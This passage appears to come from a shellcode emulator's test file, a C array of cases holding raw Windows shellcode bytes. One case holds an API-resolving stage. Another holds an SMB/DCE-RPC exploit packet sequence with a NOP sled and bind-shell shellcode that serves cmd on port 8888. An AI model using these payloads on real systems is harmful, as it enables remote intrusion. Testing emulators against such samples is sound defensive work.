"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x23\x0a\x03" "\x08\x00\xf8\x0f\x01\x00\xf8\x0f\x01\x23\x82\x08\x39\x03\x82\x04" "\x11\x00\x43\x43\x43\x43\x20\xf0\xfd\x7f\x53\x56\x57\x66\x81\xec" "\x80\x00\x89\xe6\xe8\xed\x00\x00\x00\xff\x36\x68\x09\x12\xd6\x63" "\xe8\xf7\x00\x00\x00\x89\x46\x08\xe8\xa2\x00\x00\x00\xff\x76\x04" "\x68\x6b\xd0\x2b\xca\xe8\xe2\x00\x00\x00\x89\x46\x0c\xe8\x3f\x00" "\x00\x00\xff\x76\x04\x68\xfa\x97\x02\x4c\xe8\xcd\x00\x00\x00\x31" "\xdb\x68\x10\x04\x00\x00\x53\xff\xd0\x89\xc3\x56\x8b\x76\x10\x89" "\xc7\xb9\x10\x04\x00\x00\xf3\xa4\x5e\x31\xc0\x50\x50\x50\x53\x50" "\x50\xff\x56\x0c\x8b\x46\x08\x66\x81\xc4\x80\x00\x5f\x5e\x5b\xff" "\xe0\x60\xe8\x23\x00\x00\x00\x8b\x44\x24\x0c\x8d\x58\x7c\x83\x43" "\x3c\x05\x81\x43\x28\x00\x10\x00\x00\x81\x63\x28\x00\xf0\xff\xff" "\x8b\x04\x24\x83\xc4\x14\x50\x31\xc0\xc3\x31\xd2\x64\xff\x32\x64" "\x89\x22\x31\xdb\xb8\x90\x42\x90\x42\x31\xc9\xb1\x02\x89\xdf\xf3" "\xaf\x74\x03\x43\xeb\xf3\x89\x7e\x10\x64\x8f\x02\x58\x61\xc3\x60" "\xbf\x20\xf0\xfd\x7f\x8b\x1f\x8b\x46\x08\x89\x07\x8b\x7f\xf8\x81" "\xc7\x78\x01\x00\x00\x89\xf9\x39\x19\x74\x04\x8b\x09\xeb\xf8\x89" "\xfa\x39\x5a\x04\x74\x05\x8b\x52\x04\xeb\xf6\x89\x11\x89\x4a\x04" "\xc6\x43\xfd\x01\x61\xc3\xa1\x0c\xf0\xfd\x7f\x8b\x40\x1c\x8b\x58" "\x08\x89\x1e\x8b\x00\x8b\x40\x08\x89\x46\x04\xc3\x60\x8b\x6c\x24" "\x28\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20" "\x01\xeb\xe3\x38\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac" "\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x24\x75" "\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b" "\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc2\x08\x00\xeb\xfe\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43" "\x43\x43\x23\x82\x04\x20\x03\x09\x00\xeb\x06\x90\x90\x90\x90\x90" "\x90\x03\x82\x04\x11\x00\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44" "\x44\x44\x44\x44\x44\x44\x00\x00\x00\x00\x00\x00", .codesize = 4428, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "bindshell::schoenborn", .code = "\x00\x00\x00\xa4\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" "\x00\x00\x10\x00\x0c\xff\x00\xa4\x00\x04\x11\x0a\x00\x00\x00\x00" "\x00\x00\x00\x20\x00\x00\x00\x00\x00\xd4\x00\x00\x80\x69\x00\x4e" "\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xe0\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00" "\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00" "\x35\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00" "\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00" "\x2e\x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\xda\xff\x53\x4d\x42" "\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x08\x20\x00\x0c\xff\x00\xda" "\x00\x04\x11\x0a\x00\x00\x00\x00\x00\x00\x00\x57\x00\x00\x00\x00" "\x00\xd4\x00\x00\x80\x9f\x00\x4e\x54\x4c\x4d\x53\x53\x50\x00\x03" "\x00\x00\x00\x01\x00\x01\x00\x46\x00\x00\x00\x00\x00\x00\x00\x47" "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40" "\x00\x00\x00\x06\x00\x06\x00\x40\x00\x00\x00\x10\x00\x10\x00\x47" "\x00\x00\x00\x15\x8a\x88\xe0\x48\x00\x4f\x00\x44\x00\x00\xed\x41" "\x2c\x27\x86\x26\xd2\x59\xa0\xb3\x5e\xaa\x00\x88\x6f\xc5\x57\x00" "\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00" "\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00\x35\x00" "\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00" "\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00\x2e\x00" "\x30\x00\x00\x00\x00\x00\x00\x00\x00\x5c\xff\x53\x4d\x42\x75\x00" "\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\xff\xfe\x00\x08\x30\x00\x04\xff\x00\x5a\x00\x08" "\x00\x01\x00\x31\x00\x00\x5c\x00\x5c\x00\x31\x00\x39\x00\x32\x00" "\x2e\x00\x33\x00\x35\x00\x2e\x00\x32\x00\x32\x00\x39\x00\x2e\x00" "\x33\x00\x39\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00" "\x3f\x3f\x3f\x3f\x3f\x00\x00\x00\x00\x66\xff\x53\x4d\x42\xa2\x00" "\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x08\x78\x04\x00\x08\x40\x00\x18\xff\x00\xde\xde\x00" "\x10\x00\x16\x00\x00\x00\x00\x00\x00\x00\x9f\x01\x02\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00" "\x00\x00\x40\x00\x00\x00\x02\x00\x00\x00\x03\x13\x00\x00\x5c\x00" "\x62\x00\x72\x00\x6f\x00\x77\x00\x73\x00\x65\x00\x72\x00\x00\x00" "\x00\x00\x00\x9c\xff\x53\x4d\x42\x25\x00\x00\x00\x00\x18\x07\xc8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04" "\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x10\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02" "\x00\x26\x00\x00\x40\x59\x00\x00\x5c\x00\x50\x00\x49\x00\x50\x00" "\x45\x00\x5c\x00\x00\x00\x40\x00\x05\x00\x0b\x03\x10\x00\x00\x00" "\x48\x00\x00\x00\x01\x00\x00\x00\xb8\x10\xb8\x10\x00\x00\x00\x00" "\x01\x00\x00\x00\x00\x00\x01\x00\x40\x4e\x9f\x8d\x3d\xa0\xce\x11" "\x8f\x69\x08\x00\x3e\x30\x05\x1b\x01\x00\x00\x00\x04\x5d\x88\x8a" "\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00" "\x00\x00\x08\x90\xff\x53\x4d\x42\x25\x00\x00\x00\x00\x18\x07\xc8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04" "\x00\x08\x60\x00\x10\x00\x00\x3c\x08\x00\x00\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x3c\x08\x54\x00\x02" "\x00\x26\x00\x00\x40\x4d\x08\x00\x5c\x00\x50\x00\x49\x00\x50\x00" "\x45\x00\x5c\x00\x00\x00\x40\x00\x05\x00\x00\x03\x10\x00\x00\x00" "\x3c\x08\x00\x00\x01\x00\x00\x00\x24\x08\x00\x00\x00\x00\x36\x00" "\x11\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x52\x00\x4f\x00" "\x4f\x00\x54\x00\x5c\x00\x53\x00\x59\x00\x53\x00\x54\x00\x45\x00" "\x4d\x00\x5c\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00\x00\x00" "\xff\xff\x00\x00\xe0\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\xc0\x07\x00\x00\x00\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x08\x90\x90\x67\x15\x7a\x76\xeb\x08\x90\x90\x67\x15\x7a\x76" "\xeb\x08\x90\x90\x67\x15\x7a\x76\xeb\x08\x90\x90\x67\x15\x7a\x76" "\xeb\x08\x90\x90\x67\x15\x7a\x76\xeb\x08\x90\x90\x67\x15\x7a\x76" "\xeb\x08\x90\x90\x67\x15\x7a\x76\xeb\x08\x90\x90\x67\x15\x7a\x76" "\xeb\x08\x90\x90\x67\x15\x7a\x76\xeb\x08\x90\x90\x67\x15\x7a\x76" "\x90\x90\x90\x90\x90\x90\x90\xeb\x08\x90\x90\x48\x4f\x44\x88\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff" "\xff\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28" "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" "\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b" "\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50" "\xff\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0" "\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02" "\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53" "\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x22\xb8\x66\x53\x89\xe1" "\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x68" "\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x55\xff\xd0\x68\xe5\x49\x86\x49" "\x57\xff\xd6\x50\x54\x54\x55\xff\xd0\x93\x68\xe7\x79\xc6\x79\x57" "\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x89\xe5\x6a\x50" "\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d" "\xfe\x42\x2c\x93\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff" "\x75\x44\xff\xd6\x5b\x57\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51" "\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0" "\x8b\x57\xfc\x83\xc4\x64\xff\xd6\x52\xff\xd0\x68\xef\xce\xe0\x60" "\x53\xff\xd6\xff\xd0\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 